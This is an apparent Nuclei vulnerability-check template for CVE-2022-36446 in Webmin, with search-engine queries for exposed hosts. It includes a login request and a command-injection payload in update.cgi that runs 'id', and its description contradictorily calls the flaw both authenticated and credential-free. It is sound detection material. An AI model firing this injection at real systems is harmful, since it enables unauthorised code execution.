Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-36446
info:
name: Webmin <1.997 - Authenticated Remote Code Execution
author: gy741
severity: critical
description: |
Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
remediation: |
Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
reference:
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
- https://github.com/webmin/webmin/compare/1.996...1.997
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
- http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-36446
cwe-id: CWE-116
epss-score: 0.93797
epss-percentile: 0.99855
cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: webmin
product: webmin
shodan-query:
- title:"Webmin"
- http.title:"webmin"
fofa-query: title="webmin"
google-query: intitle:"webmin"
tags: cve,cve2022,packetstorm,webmin,rce,authenticated,edb
http:
- raw:
- |
POST /session_login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022058c4fef1d4dfd3fd9d181821a0eed2ed527372b9c3923aaa87d13831ec21f792022100dd06600cdc85928f7974478c19a424f88db250ada71952d07bbeeef275cc4ed7:922c64590222798bb761d5b6d8e72950